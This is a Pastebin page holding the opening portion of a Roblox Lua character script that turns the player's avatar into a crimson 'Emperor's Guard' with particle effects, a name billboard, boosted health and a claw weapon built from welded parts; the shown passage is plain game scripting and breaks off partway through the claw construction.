Advertisement
GojiGaming1337

Guard

Apr 30th, 2018
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 244.93 KB | None | 0 0
  1. paly = game.Players.LocalPlayer
  2. Player = game:GetService("Players").LocalPlayer
  3. p = game.Players.LocalPlayer
  4. char = paly.Character
  5. vt = Vector3.new
  6. rarm = char["Right Arm"]
  7. hed = char.Head
  8. larm = char["Left Arm"]
  9. rleg = char["Right Leg"]
  10. lleg = char["Left Leg"]
  11. local maincolor = BrickColor.random()
  12. local effolemode = false
  13. local wrathmode = false
  14. local noobmode = false
  15. local randomname = "???"
  16. local randomnamefem = "???"
  17. local randomchanger = 6
  18. if paly.Name == "BINO2002" then
  19. randomchanger = 6
  20. end
  21. if randomchanger == 6 then
  22. randomnamefem = "Emperor's Guard"
  23. effolemode = true
  24. maincolor = BrickColor.new("Crimson")
  25.  
  26. local dec2 = Instance.new("Decal", char)
  27. dec2.Face = "Front"
  28. dec2.Texture = "rbxassetid://45515545"
  29. dec2.Parent = char.Head
  30. char.Head.face.Transparency = 1
  31. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  32.  
  33. for i,v in pairs(char:children()) do
  34. if v:IsA("Hat") then
  35. v:Destroy()
  36. end
  37. end
  38. for i,v in pairs(char:children()) do
  39. if v:IsA("Accessory") then
  40. v:Destroy()
  41. end
  42. end
  43. for i,v in pairs(char:children()) do
  44. if v:IsA("Hair") then
  45. v:Destroy()
  46. end
  47. end
  48. for i,v in pairs(char:children()) do
  49. if v:IsA("Shirt") then
  50. v:Destroy()
  51. end
  52. end
  53. for i,v in pairs(char:children()) do
  54. if v:IsA("Pants") then
  55. v:Destroy()
  56. end
  57. end
  58.  
  59. local BC = char["Body Colors"]
  60. BC.HeadColor = BrickColor.new("White")
  61. BC.LeftArmColor = BrickColor.new("White")
  62. BC.LeftLegColor = BrickColor.new("White")
  63. BC.RightArmColor = BrickColor.new("White")
  64. BC.RightLegColor = BrickColor.new("White")
  65. BC.TorsoColor = BrickColor.new("White")
  66.  
  67. ypcall(function()
  68. shirt = Instance.new("Shirt", char)
  69. shirt.Name = "Shirt"
  70. pants = Instance.new("Pants", char)
  71. pants.Name = "Pants"
  72. char.Shirt.ShirtTemplate = "rbxassetid://668191907"
  73. char.Pants.PantsTemplate = "rbxassetid://326077851"
  74. end)
  75. Reaper2 = Instance.new("Model")
  76. Reaper2.Parent = Player.Character
  77. Reaper2.Name = "Reaper2"
  78. rh2 = Instance.new("Part")
  79. rh2.Parent = Reaper2
  80. rh2.BrickColor = maincolor
  81. rh2.Locked = true
  82. rh2.CanCollide = false
  83. mesh2 = Instance.new("SpecialMesh")
  84. rh2.formFactor = "Symmetric"
  85. mesh2.MeshType = "FileMesh"
  86. mesh2.MeshId = "http://www.roblox.com/asset/?id=417376490"
  87. mesh2.Parent = rh2
  88. local weld2 = Instance.new("Weld")
  89. weld2.Parent = rh2
  90. rh2.Transparency = 0
  91. weld2.Part0 = rh2
  92. weld2.Part1 = Player.Character.Head
  93. weld2.C0 = CFrame.new(0.05, 0.0, 0.0)*CFrame.Angles(0, 0, 0)
  94.  
  95. Reaper3 = Instance.new("Model")
  96. Reaper3.Parent = Player.Character
  97. Reaper3.Name = "Reaper3"
  98. rh3 = Instance.new("Part")
  99. rh3.Parent = Reaper3
  100. rh3.BrickColor = BrickColor.new("Crimson")
  101. rh3.Locked = true
  102. rh3.CanCollide = false
  103. mesh3 = Instance.new("SpecialMesh")
  104. rh3.formFactor = "Symmetric"
  105. mesh3.MeshType = "FileMesh"
  106. mesh3.MeshId = "http://www.roblox.com/asset/?id=19106648"
  107. mesh3.Parent = rh3
  108. local weld3 = Instance.new("Weld")
  109. weld3.Parent = rh3
  110. rh3.Transparency = 0
  111. weld3.Part0 = rh3
  112. weld3.Part1 = Player.Character.Head
  113. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  114.  
  115. local orbe = Instance.new("Part")
  116. orbe.Parent = char
  117. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  118. orbe.Archivable = true
  119. orbe.Transparency = 1
  120. orbe.BrickColor = maincolor
  121. orbe.Material = "Neon"
  122. orbe.CanCollide = false
  123. local weld1e = Instance.new("Weld")
  124. weld1e.Parent = rleg
  125. weld1e.Part0 = rleg
  126. weld1e.Part1 = orbe
  127. weld1e.C1 = CFrame.new(0, 1.125, 0)
  128. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  129. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  130. local effectoe = Instance.new("ParticleEmitter",orbe)
  131. effectoe.LightEmission = 1
  132. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  133. effectoe.Color = ColorSequence.new(maincolor.Color)
  134. effectoe.Rate = 10000
  135. effectoe.Lifetime = NumberRange.new(1)
  136. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  137. effectoe.Speed = NumberRange.new(0,0)
  138. effectoe.RotSpeed = NumberRange.new(100,100)
  139.  
  140. local orbze = Instance.new("Part")
  141. orbze.Parent = char
  142. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  143. orbze.Archivable = true
  144. orbze.Transparency = 1
  145. orbze.BrickColor = maincolor
  146. orbze.Material = "Neon"
  147. orbze.CanCollide = false
  148. local weldz1 = Instance.new("Weld")
  149. weldz1.Parent = lleg
  150. weldz1.Part0 = lleg
  151. weldz1.Part1 = orbze
  152. weldz1.C1 = CFrame.new(0, 1.125, 0)
  153. local effectone = Instance.new("ParticleEmitter",orbze)
  154. effectone.LightEmission = 1
  155. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  156. effectone.Color = ColorSequence.new(maincolor.Color)
  157. effectone.Rate = 10000
  158. effectone.Lifetime = NumberRange.new(1)
  159. effectone.Size = NumberSequence.new({pt1e,pt2e})
  160. effectone.Speed = NumberRange.new(0,0)
  161. effectone.RotSpeed = NumberRange.new(100,100)
  162. end
  163.  
  164. if effolemode == true then
  165. maincolor = BrickColor.new("Crimson")
  166. end
  167.  
  168. local orb = Instance.new("Part")
  169. orb.Parent = char
  170. orb.Size = Vector3.new(1, 1, 1)
  171. orb.Archivable = true
  172. orb.Transparency = 1
  173. orb.BrickColor = BrickColor.new("Bright orange")
  174. orb.Material = "Wood"
  175. orb.CanCollide = false
  176. local weld1 = Instance.new("Weld")
  177. weld1.Parent = rarm
  178. weld1.Part0 = rarm
  179. weld1.Part1 = orb
  180. weld1.C1 = CFrame.new(0, 1.125, 0)
  181. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  182. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  183. local effecto = Instance.new("ParticleEmitter",orb)
  184. effecto.LightEmission = 1
  185. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  186. effecto.Color = ColorSequence.new(maincolor.Color)
  187. effecto.Rate = 10000
  188. effecto.Lifetime = NumberRange.new(1)
  189. effecto.Size = NumberSequence.new({pt1,pt2})
  190. effecto.Speed = NumberRange.new(0,0)
  191. effecto.RotSpeed = NumberRange.new(100,100)
  192.  
  193. local orbz = Instance.new("Part")
  194. orbz.Parent = char
  195. orbz.Size = Vector3.new(1, 1, 1)
  196. orbz.Archivable = true
  197. orbz.Transparency = 1
  198. orbz.BrickColor = BrickColor.new("Bright orange")
  199. orbz.Material = "Wood"
  200. orbz.CanCollide = false
  201. local weldz1 = Instance.new("Weld")
  202. weldz1.Parent = larm
  203. weldz1.Part0 = larm
  204. weldz1.Part1 = orbz
  205. weldz1.C1 = CFrame.new(0, 1.125, 0)
  206. local effecton = Instance.new("ParticleEmitter",orbz)
  207. effecton.LightEmission = 1
  208. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  209. effecton.Color = ColorSequence.new(maincolor.Color)
  210. effecton.Rate = 10000
  211. effecton.Lifetime = NumberRange.new(1)
  212. effecton.Size = NumberSequence.new({pt1,pt2})
  213. effecton.Speed = NumberRange.new(0,0)
  214. effecton.RotSpeed = NumberRange.new(100,100)
  215.  
  216.  
  217. p = game.Players.LocalPlayer
  218. char = p.Character
  219. torso = char.Torso
  220. neck = char.Torso.Neck
  221. hum = char.Humanoid
  222. hum.MaxHealth = 10000
  223. wait()
  224. hum.Health =hum.MaxHealth
  225.  
  226. CV="Hot pink"
  227.  
  228. local txt = Instance.new("BillboardGui", char)
  229. txt.Adornee = char .Head
  230. txt.Name = "_status"
  231. txt.Size = UDim2.new(2, 0, 1.2, 0)
  232. txt.StudsOffset = Vector3.new(-9, 8, 0)
  233. local text = Instance.new("TextLabel", txt)
  234. text.Size = UDim2.new(10, 0, 7, 0)
  235. text.FontSize = "Size24"
  236. text.TextScaled = true
  237. text.TextTransparency = 0
  238. text.BackgroundTransparency = 1
  239. text.TextTransparency = 0
  240. text.TextStrokeTransparency = 0
  241. text.Font = "SciFi"
  242. text.TextStrokeColor3 = Color3.new(0,0,0)
  243.  
  244. v=Instance.new("Part")
  245. v.Name = "ColorBrick"
  246. v.Parent=p.Character
  247. v.FormFactor="Symmetric"
  248. v.Anchored=true
  249. v.CanCollide=false
  250. v.BottomSurface="Smooth"
  251. v.TopSurface="Smooth"
  252. v.Size=Vector3.new(10,5,3)
  253. v.Transparency=1
  254. v.CFrame=char.Torso.CFrame
  255. v.BrickColor=BrickColor.new(CV)
  256. v.Transparency=1
  257. text.TextColor3 = BrickColor.new("Crimson").Color
  258. v.Shape="Block"
  259. text.Text = "Emperor's Guard"
  260.  
  261.  
  262. euler = CFrame.fromEulerAnglesXYZ
  263. angles = CFrame.Angles
  264. local player = "LocalPlayer"
  265. local Character = game.Players[player].Character
  266. it = Instance.new
  267. vt = Vector3.new
  268. bc = BrickColor.new
  269. cf = CFrame.new
  270. mr = math.rad
  271. local Weapon = {}
  272. local p = game.Players.LocalPlayer
  273. local char = p.Character
  274. local mouse = p:GetMouse()
  275. local larm = char["Left Arm"]
  276. local rarm = char["Right Arm"]
  277. local lleg = char["Left Leg"]
  278. local rleg = char["Right Leg"]
  279. local hed = char.Head
  280. local torso = char.Torso
  281. local hum = char.Humanoid
  282. local cam = game.Workspace.CurrentCamera
  283. local root = char.HumanoidRootPart
  284. local deb = false
  285. local shot = 0
  286.  
  287. local debris=game:service"Debris"
  288. local l = game:GetService("Lighting")
  289. local rs = game:GetService("RunService").RenderStepped
  290. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  291. math.randomseed(os.time())
  292. for i,v in pairs (hed:GetChildren()) do
  293. if v:IsA("Sound") then
  294. v:Destroy()
  295. end
  296. end
  297. ---------------------------------------------------- BeastClaw
  298. NoOutline = function(Part)
  299. Part.TopSurface = 10
  300. end
  301. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  302. local fp = it("Part")
  303. fp.formFactor = formfactor
  304. fp.Parent = parent
  305. fp.Reflectance = reflectance
  306. fp.Transparency = transparency
  307. fp.CanCollide = false
  308. fp.Locked = true
  309. fp.BrickColor = brickcolor
  310. fp.Name = name
  311. fp.Size = size
  312. NoOutline(fp)
  313. fp.Material = "Neon"
  314. fp:BreakJoints()
  315. return fp
  316. end
  317. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  318. local mesh = it(Mesh)
  319. mesh.Parent = part
  320. if Mesh == "SpecialMesh" then
  321. mesh.MeshType = meshtype
  322. if meshid ~= "nil" then
  323. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  324. end
  325. end
  326. mesh.Offset = offset
  327. mesh.Scale = scale
  328. return mesh
  329. end
  330. weld = function(parent, part0, part1, c0)
  331. local weld = it("Motor6D")
  332. weld.Parent = parent
  333. weld.Part0 = part0
  334. weld.Part1 = part1
  335. weld.C0 = c0
  336. return weld
  337. end
  338. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  339. local gui = it(GuiType)
  340. gui.Parent = parent
  341. gui.BackgroundTransparency = backtrans
  342. gui.BackgroundColor3 = backcol
  343. gui.SizeConstraint = "RelativeXY"
  344. gui.Position = pos
  345. gui.Size = size
  346. if GuiType == "TextLabel" then
  347. gui.Text = text
  348. gui.TextXAlignment = "Center"
  349. gui.TextYAlignment = "Center"
  350. gui.Font = "SourceSans"
  351. gui.FontSize = "Size14"
  352. gui.TextWrapped = false
  353. gui.TextStrokeTransparency = 0
  354. gui.TextColor = TorsoColor
  355. else
  356. if GuiType == "ImageLabel" then
  357. gui.Image = "rbxassetid://" .. image
  358. gui.ImageColor3 = backcol
  359. end
  360. end
  361. return gui
  362. end
  363. local handle = nil
  364. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  365. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  366. prt.Material = neon
  367. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  368. wld = weld(handle, prt, wldpar, ceef)
  369. v = it("NumberValue", prt)
  370. v.Value = trans
  371. v.Name = "MainTransparency"
  372. return prt, msh, wld
  373. end
  374. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  375. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  376. prt.Material = neon
  377. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  378. wld = weld(wldpare, prt, wldpar, ceef)
  379. v = it("NumberValue", prt)
  380. v.Value = trans
  381. v.Name = "MainTransparency"
  382. return prt, msh, wld
  383. end
  384. local modelzorzez = Instance.new("Model")
  385. modelzorzez.Parent = workspace.CurrentCamera
  386. modelzorzez.Name = "none"
  387. local Torso = Character.Torso
  388. local LeftArm = Character["Left Arm"]
  389. local RightArm = Character["Right Arm"]
  390. local LeftLeg = Character["Left Leg"]
  391. local RightLeg = Character["Right Leg"]
  392. local Head = Character.Head
  393. local RootPart = Character.HumanoidRootPart
  394. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
  395. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  396.  
  397. -- SAHHHH DUUDEEE
  398.  
  399.  
  400.  
  401.  
  402. -- params : ...
  403.  
  404. wait(0.016666666666667)
  405. script.Archivable = false
  406. Effects = {}
  407. local Player = game.Players.localPlayer
  408. local Character = Player.Character
  409. local Humanoid = Character.Humanoid
  410. local mouse = Player:GetMouse()
  411. local m = Instance.new("Model", Character)
  412. m.Name = "WeaponModel"
  413. local effect = Instance.new("Model", Character)
  414. effect.Name = "effecsfsafzx"
  415. local demon = Instance.new("Model", Character)
  416. demon.Name = "demdemd"
  417. local LeftArm = Character["Left Arm"]
  418. local RightArm = Character["Right Arm"]
  419. local LeftLeg = Character["Left Leg"]
  420. local RightLeg = Character["Right Leg"]
  421. local do2target = nil
  422. local Head = Character.Head
  423. local Torso = Character.Torso
  424. TorsoColor = BrickColor.new("Crimson")
  425. z = Instance.new("Sound", Torso)
  426. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  427. z.Looped = true
  428. z.Pitch = 0
  429. z.Volume = 0
  430. wait(.1)
  431. z:Play()
  432. local cam = game.Workspace.CurrentCamera
  433. local RootPart = Character.HumanoidRootPart
  434. local RootJoint = RootPart.RootJoint
  435. local equipped = false
  436. local attack = false
  437. local Anim = "Idle"
  438. local idle = 0
  439. local attacktype = 1
  440. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  441. local velocity = RootPart.Velocity.y
  442. local sine = 0
  443. local change = 1
  444. local mana = 0
  445. local it = Instance.new
  446. vt = Vector3.new
  447. local grabbed = false
  448. local cf = CFrame.new
  449. local mr = math.rad
  450. local angles = CFrame.Angles
  451. local ud = UDim2.new
  452. local c3 = Color3.new
  453. clerp = function(a, b, t)
  454.  
  455. return a:lerp(b, t)
  456. end
  457.  
  458. local RbxUtility = LoadLibrary("RbxUtility")
  459. local Create = RbxUtility.Create
  460. RemoveOutlines = function(part)
  461.  
  462. part.TopSurface = 10
  463. end
  464.  
  465. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  466.  
  467. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  468. RemoveOutlines(Part)
  469. return Part
  470. end
  471.  
  472. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  473.  
  474. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  475. if Mesh == "SpecialMesh" then
  476. Msh.MeshType = MeshType
  477. Msh.MeshId = MeshId
  478. end
  479. return Msh
  480. end
  481.  
  482. local co1 = 3
  483. local co2 = 10
  484. local co3 = 15
  485. local co4 = 30
  486. local cooldown1 = 0
  487. local cooldown2 = 0
  488. local cooldown3 = 0
  489. local cooldown4 = 0
  490. local maxEnergy = 100
  491. local Energy = 0
  492. local skill1stam = 1000
  493. local skill2stam = 1000
  494. local skill3stam = 1000
  495. local skill4stam = 1000
  496. local recovermana = 5
  497. local skillcolorscheme = BrickColor.new("White").Color
  498. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  499. makeframe = function(par, trans, pos, size, color)
  500.  
  501. local frame = Instance.new("Frame", par)
  502. frame.BackgroundTransparency = trans
  503. frame.BorderSizePixel = 0
  504. frame.Position = pos
  505. frame.Size = size
  506. frame.BackgroundColor3 = color
  507. return frame
  508. end
  509.  
  510. makelabel = function(par, text)
  511.  
  512. local label = Instance.new("TextLabel", par)
  513. label.BackgroundTransparency = 1
  514. label.Size = UDim2.new(1, 0, 1, 0)
  515. label.Position = UDim2.new(0, 0, 0, 0)
  516. label.TextColor3 = Color3.new(255, 255, 255)
  517. label.TextStrokeTransparency = 0
  518. label.FontSize = Enum.FontSize.Size32
  519. label.Font = Enum.Font.SourceSansLight
  520. label.BorderSizePixel = 0
  521. label.TextScaled = true
  522. label.Text = text
  523. end
  524.  
  525. ArtificialHB = Instance.new("BindableEvent", script)
  526. ArtificialHB.Name = "Heartbeat"
  527. script:WaitForChild("Heartbeat")
  528. frame = 0.033333333333333
  529. tf = 0
  530. allowframeloss = false
  531. tossremainder = false
  532. lastframe = tick()
  533. script.Heartbeat:Fire()
  534. game:GetService("RunService").Heartbeat:connect(function(s, p)
  535.  
  536. tf = tf + s
  537. if frame <= tf then
  538. if allowframeloss then
  539. script.Heartbeat:Fire()
  540. lastframe = tick()
  541. else
  542. for i = 1, math.floor(tf / frame) do
  543. script.Heartbeat:Fire()
  544. end
  545. lastframe = tick()
  546. end
  547. if tossremainder then
  548. tf = 0
  549. else
  550. tf = tf - frame * math.floor(tf / frame)
  551. end
  552. end
  553. end
  554. )
  555. swait = function(num)
  556.  
  557. if num == 0 or num == nil then
  558. ArtificialHB.Event:wait()
  559. else
  560. for i = 0, num do
  561. ArtificialHB.Event:wait()
  562. end
  563. end
  564. end
  565.  
  566. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  567.  
  568. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  569. return Weld
  570. end
  571.  
  572. rayCast = function(Position, Direction, Range, Ignore)
  573.  
  574. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  575. end
  576.  
  577. CreateSound = function(id, par, vol, pit)
  578.  
  579. coroutine.resume(coroutine.create(function()
  580.  
  581. local sou = Instance.new("Sound", par or workspace)
  582. sou.Volume = vol
  583. sou.Pitch = pit or 1
  584. sou.SoundId = id
  585. swait()
  586. sou:play()
  587. game:GetService("Debris"):AddItem(sou, 6)
  588. end
  589. ))
  590. end
  591.  
  592. local getclosest = function(obj, distance)
  593.  
  594. local last, lastx = distance + 1, nil
  595. for i,v in pairs(workspace:GetChildren()) do
  596. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  597. local t = v.Torso
  598. local dist = t.Position - obj.Position.magnitude
  599. if dist <= distance and dist < last then
  600. last = dist
  601. lastx = v
  602. end
  603. end
  604. end
  605. return lastx
  606. end
  607.  
  608. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  609.  
  610. if PartType == "Part" then
  611. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  612. RemoveOutlines(Part)
  613. return Part
  614. else
  615. do
  616. if PartType == "WedgePart" then
  617. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  618. RemoveOutlines(Part)
  619. return Part
  620. end
  621. end
  622. end
  623. end
  624.  
  625. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  626. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  627. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  628. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  629. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  630. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  631. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  632. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  633. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  634. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  635. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  636. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  637. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  638. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  639. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  640. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  641. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  642. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  643. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  644. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  645. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  646. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  647. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  648. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  649. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  650. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  651. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  652. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  653. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  654. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  655. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  656. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  657. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  658. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  659. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  660. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  661. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  662. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  663. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  664. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  665. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  666. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
